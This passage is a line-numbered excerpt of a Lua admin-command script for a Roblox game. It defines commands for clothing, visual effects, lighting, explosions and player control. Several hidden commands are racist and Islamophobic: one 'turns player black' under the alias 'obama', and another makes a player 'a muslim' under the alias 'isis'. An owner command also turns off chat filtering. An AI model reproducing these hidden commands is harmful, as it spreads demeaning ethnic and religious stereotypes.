  7224. CORE:ExecuteResource("Drug", Player.Character)
  7225. end
  7226. end
  7227. end};
  7228.  
  7229. [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
  7230. local Players = STRING:Scan(Arguments[1], Speaker)
  7231. for _,Player in pairs(Players) do
  7232. if Player:FindFirstChild("PlayerGui") then
  7233. local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
  7234. wait() CORE:RestoreCamera(Player)
  7235. end
  7236. end
  7237. end};
  7238.  
  7239. [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7240. local AbuseMode = false
  7241. if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
  7242. MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
  7243. if Speaker:FindFirstChild("Backpack") then
  7244. CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
  7245. end
  7246. end)
  7247. end, Http = true};
  7248.  
  7249. [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7250. local Type = "all"
  7251. local Query = string.lower(Arguments[1])
  7252. local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
  7253. if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
  7254. Type = Arguments[1]
  7255. Query = Arguments[2]
  7256. end
  7257. MARKET:ShowSearch(Speaker, 11, Query, function(ID)
  7258. if Speaker.Character then
  7259. CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
  7260. end
  7261. end, MARKET:AccessoryToSubcategory(Type))
  7262. end, Http = true};
  7263.  
  7264. [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7265. MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
  7266. if Speaker.Character then
  7267. CORE:GivePackage(Speaker, ID)
  7268. end
  7269. end, 11)
  7270. end, Http = false};
  7271.  
  7272. [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7273. local Players = STRING:Scan(Arguments[1], Speaker)
  7274. for _,Player in pairs(Players) do
  7275. CORE:GivePackage(Player)
  7276. end
  7277. end};
  7278.  
  7279. [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7280. local Players = STRING:Scan(Arguments[1], Speaker)
  7281. for _,Player in pairs(Players) do
  7282. CORE:GivePackage(Player, Arguments[2])
  7283. end
  7284. end, Http = false};
  7285.  
  7286. [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
  7287. local Players = STRING:Scan(Arguments[1], Speaker)
  7288. for _,Player in pairs(Players) do
  7289. local Stats = Player:FindFirstChild("leaderstats")
  7290. if Stats ~= nil then
  7291. for _,Stat in pairs(Stats:GetChildren()) do
  7292. if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
  7293. ypcall(function() Stat.Value = Arguments[3] end)
  7294. end
  7295. end
  7296. end
  7297. end
  7298. end};
  7299.  
  7300. [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7301. local ID = tonumber(Arguments[2])
  7302. local Players = STRING:Scan(Arguments[1], Speaker)
  7303. for _,Player in pairs(Players) do
  7304. for _,Player in pairs(Players) do
  7305. if Player.Character ~= nil then
  7306. local Obj = Player.Character:FindFirstChild("Shirt")
  7307. if Obj then
  7308. Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7309. else
  7310. Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7311. end
  7312. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7313. end
  7314. end
  7315. end
  7316. end};
  7317.  
  7318. [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7319. local ID = tonumber(Arguments[2])
  7320. local Players = STRING:Scan(Arguments[1], Speaker)
  7321. for _,Player in pairs(Players) do
  7322. for _,Player in pairs(Players) do
  7323. if Player.Character ~= nil then
  7324. local Obj = Player.Character:FindFirstChild("Pants")
  7325. if Obj then
  7326. Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7327. else
  7328. Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7329. end
  7330. coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
  7331. end
  7332. end
  7333. end
  7334. end};
  7335.  
  7336. [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7337. local ID = tonumber(Arguments[2])
  7338. local Players = STRING:Scan(Arguments[1], Speaker)
  7339. for _,Player in pairs(Players) do
  7340. for _,Player in pairs(Players) do
  7341. if Player.Character ~= nil then
  7342. if Player.Character:FindFirstChild("Torso") then
  7343. local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
  7344. local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
  7345. if Obj1 then
  7346. Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7347. else
  7348. Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7349. end
  7350. if Obj2 then
  7351. Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
  7352. else
  7353. Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
  7354. end
  7355. coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
  7356. coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
  7357. end
  7358. end
  7359. end
  7360. end
  7361. end};
  7362.  
  7363. [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
  7364. local Players = STRING:Scan(Arguments[1], Speaker)
  7365. for _,Player in pairs(Players) do
  7366. CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
  7367. end
  7368. end};
  7369.  
  7370. [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
  7371. if CORE:InAdminGroup(Speaker) then
  7372. local Players = STRING:Scan(Arguments[1], Speaker)
  7373. for _,Player in pairs(Players) do
  7374. if Player:FindFirstChild("Backpack") then
  7375. local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
  7376. local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
  7377. local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
  7378. local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
  7379. CORE:ExecuteResource("CookieTool", Tool)
  7380. end
  7381. end
  7382. end
  7383. end};
  7384.  
  7385. [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
  7386. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7387. CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
  7388. end
  7389. end};
  7390.  
  7391. [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
  7392. if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
  7393. local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
  7394. Model:MakeJoints()
  7395. for i = 1,math.random(10,20) do
  7396. Model.Name = Model.Name..string.char(math.random(97,122))
  7397. end
  7398. if Model:GetChildren()[1] then
  7399. table.insert(Objects, Model)
  7400. CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
  7401. end
  7402. end
  7403. end};
  7404.  
  7405. [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7406. local ID = tonumber(Arguments[2])
  7407. local Players = STRING:Scan(Arguments[1], Speaker)
  7408. for _,Player in pairs(Players) do
  7409. if Player.Character then
  7410. CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
  7411. end
  7412. end
  7413. end};
  7414.  
  7415. [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
  7416. local Players = STRING:Scan(Arguments[1], Speaker)
  7417. for _,Player in pairs(Players) do
  7418. if Player.Character then
  7419. local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
  7420. if StopAnim then StopAnim:Destroy() end
  7421. end
  7422. end
  7423. end};
  7424.  
  7425. [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
  7426. if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
  7427. Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
  7428. end
  7429. end};
  7430.  
  7431. [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
  7432. if tonumber(Arguments[1]) then
  7433. Server.Lighting.Brightness = tonumber(Arguments[1])
  7434. end
  7435. end};
  7436.  
  7437. [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7438. local Players = STRING:Scan(Arguments[1], Speaker)
  7439. for _,Player in pairs(Players) do
  7440. GUI:CoreGui(Player, "PlayerList", true)
  7441. end
  7442. end};
  7443.  
  7444. [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
  7445. local Players = STRING:Scan(Arguments[1], Speaker)
  7446. for _,Player in pairs(Players) do
  7447. local Players = STRING:Scan(Arguments[1], Speaker)
  7448. GUI:CoreGui(Player, "PlayerList", false)
  7449. end
  7450. end};
  7451.  
  7452. [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
  7453. GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
  7454. end, Hidden = true};
  7455.  
  7456. [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
  7457. local Players = STRING:Scan(Arguments[1], Speaker)
  7458. for _,Player in pairs(Players) do
  7459. CORE:ChangeCharacter(Player, 1337, false, Speaker)
  7460. end
  7461. end, Hidden = true};
  7462.  
  7463. [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
  7464. local Players = STRING:Scan(Arguments[1], Speaker)
  7465. for _,Player in pairs(Players) do
  7466. if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
  7467. ypcall(function() Player.Character.Torso.roblox:Destroy() end)
  7468. Player:ClearCharacterAppearance()
  7469. CORE:Insert(12436480, Player.Character, true)
  7470. Player.Character.Head.face.Texture = "rbxassetid://110287880"
  7471. Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
  7472. Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
  7473. end
  7474. end
  7475. end, Hidden = true};
  7476.  
  7477. [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
  7478. local Players = STRING:Scan(Arguments[1], Speaker)
  7479. for _,Player in pairs(Players) do
  7480. CORE:ChangeCharacter(Player, 0, false, Speaker)
  7481. end
  7482. end};
  7483.  
  7484. [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7485. ShouldFilter = false
  7486. end, Hidden = true};
  7487.  
  7488. [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7489. local Bet = Arguments[1]
  7490. if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
  7491. GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
  7492. elseif #Bet > 5 then
  7493. GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
  7494. else
  7495. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
  7496. if Answer == "Yes" then
  7497. local OldBet = Settings.Bet
  7498. CORE:ChangeBet(Bet)
  7499. GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
  7500. end
  7501. end
  7502. end};
  7503.  
  7504. [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7505. local Prefix = Arguments[1]
  7506. if #Prefix > 5 then
  7507. GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
  7508. else
  7509. local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
  7510. if Answer == "Yes" then
  7511. local OldPrefix = Settings.Prefix
  7512. Settings.Prefix = Prefix
  7513. GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
  7514. end
  7515. end
  7516. end};
  7517.  
  7518. [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
  7519. GUI:CommandBar(Speaker)
  7520. end};
  7521.  
  7522. [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7523. GUI:CommandBar(Speaker)
  7524. PermCommandBars[Speaker.Name] = true
  7525. end};
  7526.  
  7527. [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
  7528. PermCommandBars[Speaker.Name] = nil
  7529. end};
  7530.  
  7531. [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
  7532. local Players = STRING:Scan(Arguments[1], Speaker)
  7533. for _,Player in pairs(Players) do
  7534. PermCommandBars[Player.Name] = nil
  7535. end
  7536. end};
  7537.  
  7538. [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
  7539. CORE:CreateFigure("Dummy", nil, true, Speaker)
  7540. end};
  7541.  
  7542. [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
  7543. CORE:CreateFigure(Arguments[1], nil, true, Speaker)
  7544. end};
  7545.  
  7546. [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7547. local Players = STRING:Scan(Arguments[1], Speaker)
  7548. for _,Player in pairs(Players) do
  7549. CORE:ClonePlayer(Player)
  7550. end
  7551. end};
  7552.  
  7553. [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
  7554. local Players = STRING:Scan(Arguments[1], Speaker)
  7555. for _,Player in pairs(Players) do
  7556. CORE:ClonePlayer(Player, Arguments[2])
  7557. end
  7558. end};
  7559.  
  7560. [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
  7561. for _,Obj in pairs(Objects) do
  7562. if Obj then Obj:Destroy() end
  7563. end
  7564. for Name,Jail in pairs(Jails) do
  7565. if not game.Players:FindFirstChild(Name) then
  7566. Jail:Destroy()
  7567. Jails[Name] = nil
  7568. end
  7569. end
  7570. Objects = {}
  7571. end};
  7572.  
  7573. [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
  7574. for _,Obj in pairs(Server.Workspace:GetChildren()) do
  7575. if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
  7576. Obj:Destroy()
  7577. end
  7578. end
  7579. end};
  7580.  
  7581. [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7582. local Players = STRING:Scan(Arguments[1], Speaker)
  7583. for _,Player in pairs(Players) do
  7584. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7585. local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
  7586. end
  7587. end
  7588. end};
  7589.  
  7590. [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
  7591. local Players = STRING:Scan(Arguments[1], Speaker)
  7592. for _,Player in pairs(Players) do
  7593. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7594. local Fire = Instance.new("Fire", Player.Character.Torso) table.insert(Objects, Fire)
  7595. end
  7596. end
  7597. end};
  7598.  
  7599. [{"smoke"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7600. local Players = STRING:Scan(Arguments[1], Speaker)
  7601. for _,Player in pairs(Players) do
  7602. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7603. local Smoke = Instance.new("Smoke", Player.Character.Torso) table.insert(Objects, Smoke)
  7604. end
  7605. end
  7606. end};
  7607.  
  7608. [{"nosparkles", "nosparks", "unsparkles", "unsparks"}] = {"player", "Removes any sparkling effects to player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7609. local Players = STRING:Scan(Arguments[1], Speaker)
  7610. for _,Player in pairs(Players) do
  7611. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7612. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7613. if Get:IsA("Sparkles") then
  7614. Get:Destroy()
  7615. end
  7616. end
  7617. end
  7618. end
  7619. end};
  7620.  
  7621. [{"nofire", "unfire"}] = {"player", "Removes player's fire effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7622. local Players = STRING:Scan(Arguments[1], Speaker)
  7623. for _,Player in pairs(Players) do
  7624. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7625. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7626. if Get:IsA("Fire") then
  7627. Get:Destroy()
  7628. end
  7629. end
  7630. end
  7631. end
  7632. end};
  7633.  
  7634. [{"nosmoke", "unsmoke"}] = {"player", "Removes player's smoke effects", 1, "Member", false, function(Speaker, Rank, Arguments)
  7635. local Players = STRING:Scan(Arguments[1], Speaker)
  7636. for _,Player in pairs(Players) do
  7637. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7638. for _,Get in pairs(Player.Character.Torso:GetChildren()) do
  7639. if Get:IsA("Smoke") then
  7640. Get:Destroy()
  7641. end
  7642. end
  7643. end
  7644. end
  7645. end};
  7646.  
  7647. [{"explode", "explosion"}] = {"player", "Explodes player and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7648. local Players = STRING:Scan(Arguments[1], Speaker)
  7649. for _,Player in pairs(Players) do
  7650. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7651. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7652. local Boom = Instance.new("Explosion", Workspace)
  7653. Boom.Position = Player.Character.Torso.Position
  7654. end
  7655. end
  7656. end};
  7657.  
  7658. [{"splode", "smite"}] = {"player", "Explodes player 50 times and everything around player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7659. local Players = STRING:Scan(Arguments[1], Speaker)
  7660. for _,Player in pairs(Players) do
  7661. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7662. coroutine.wrap(function() for i = 1,50 do
  7663. local Boom = Instance.new("Explosion", Workspace)
  7664. Boom.Position = Player.Character.Torso.Position
  7665. wait()
  7666. end end)()
  7667. coroutine.wrap(function() for i = 1,5 do
  7668. SOUND:MakeSound(Player.Character.Torso, 187137543, 1, 1, false):Play()
  7669. end end)()
  7670. end
  7671. end
  7672. end};
  7673.  
  7674. [{"superjump", "nograv", "lowgrav"}] = {"player", "Enables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7675. local Players = STRING:Scan(Arguments[1], Speaker)
  7676. for _,Player in pairs(Players) do
  7677. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7678. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7679. Force = Instance.new("BodyForce", Player.Character.Torso) Force.Name = "LMM SJ" Force.force = Vector3.new(0,0,0)
  7680. CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj) Force.force = Force.force + Vector3.new(0,Obj:GetMass() * 150,0) end)
  7681. end
  7682. end
  7683. end};
  7684.  
  7685. [{"normaljump", "grav", "nosuperjump", "unsuperjump"}] = {"player", "Disables player to be able to jump super high", 1, "Member", false, function(Speaker, Rank, Arguments)
  7686. local Players = STRING:Scan(Arguments[1], Speaker)
  7687. for _,Player in pairs(Players) do
  7688. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7689. local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
  7690. end
  7691. end
  7692. end};
  7693.  
  7694. [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
  7695. local Players = STRING:Scan(Arguments[1], Speaker)
  7696. for _,Player in pairs(Players) do
  7697. if Player.Character then
  7698. Player.Character.Parent = Server.Lighting
  7699. end
  7700. end
  7701. end};
  7702.  
  7703. [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7704. local Players = STRING:Scan(Arguments[1], Speaker)
  7705. for _,Player in pairs(Players) do
  7706. if Player.Character then
  7707. Player.Character.Parent = Server.Workspace
  7708. Player.Character:MakeJoints()
  7709. end
  7710. end
  7711. end};
  7712.  
  7713. [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
  7714. local Players = STRING:Scan(Arguments[1], Speaker)
  7715. for _,Player in pairs(Players) do
  7716. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7717. Player.Character.Humanoid.PlatformStand = true
  7718. end
  7719. end
  7720. end};
  7721.  
  7722. [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
  7723. local Players = STRING:Scan(Arguments[1], Speaker)
  7724. for _,Player in pairs(Players) do
  7725. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7726. Player.Character.Humanoid.PlatformStand = false
  7727. end
  7728. end
  7729. end};
  7730.  
  7731. [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
  7732. local Players = STRING:Scan(Arguments[1], Speaker)
  7733. for _,Player in pairs(Players) do
  7734. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7735. Player.Character.Humanoid.Jump = true
  7736. end
  7737. end
  7738. end};
  7739.  
  7740. [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7741. local Players = STRING:Scan(Arguments[1], Speaker)
  7742. for _,Player in pairs(Players) do
  7743. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7744. Player.Character.Humanoid.Sit = true
  7745. end
  7746. end
  7747. end};
  7748.  
  7749. [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
  7750. local Players = STRING:Scan(Arguments[1], Speaker)
  7751. for _,Player in pairs(Players) do
  7752. if Player.Character and Player.Character:FindFirstChild("Humanoid") then
  7753. Player.Character.Humanoid.Sit = false
  7754. end
  7755. end
  7756. end};
  7757.  
  7758. [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7759. local Players = STRING:Scan(Arguments[1], Speaker)
  7760. for _,Player in pairs(Players) do
  7761. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7762. local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
  7763. end
  7764. end
  7765. end};
  7766.  
  7767. [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
  7768. local Players = STRING:Scan(Arguments[1], Speaker)
  7769. for _,Player in pairs(Players) do
  7770. if Player.Character and Player.Character:FindFirstChild("Torso") then
  7771. local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
  7772. end
  7773. end
  7774. end};
  7775.  
  7776. [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
  7777. GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
  7778. end};
  7779.  
  7780. [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
  7781. local Color = "Blue"
  7782. local String = Arguments[2]
  7783. local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
  7784. if #ChatSplit >= 2 then
  7785. if string.lower(ChatSplit[1]) == "green" then
  7786. Color = "Green"
  7787. String = ChatSplit[2]
  7788. elseif string.lower(ChatSplit[1]) == "red" then
  7789. Color = "Red"
  7790. String = ChatSplit[2]
  7791. end
  7792. end
  7793. local Players = STRING:Scan(Arguments[1], Speaker)
  7794. for _,Player in pairs(Players) do
  7795. if Player.Character and Player.Character:FindFirstChild("Head") then
  7796. game:GetService("Chat"):Chat(Player.Character.Head, STRING:DetermineFilter(String, Speaker, Player), Color)
  7797. end
  7798. end
  7799. end};
  7800.  
  7801. [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
  7802. local Players = STRING:Scan(Arguments[1], Speaker)
  7803. for _,Player in pairs(Players) do
  7804. if Player.Character then
  7805. CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
  7806. end
  7807. end
  7808. end};
  7809.  
  7810. [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
  7811. local Players = STRING:Scan(Arguments[1], Speaker)
  7812. local ID = nil
  7813. if tonumber(Arguments[2]) ~= nil then
  7814. ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
  7815. else
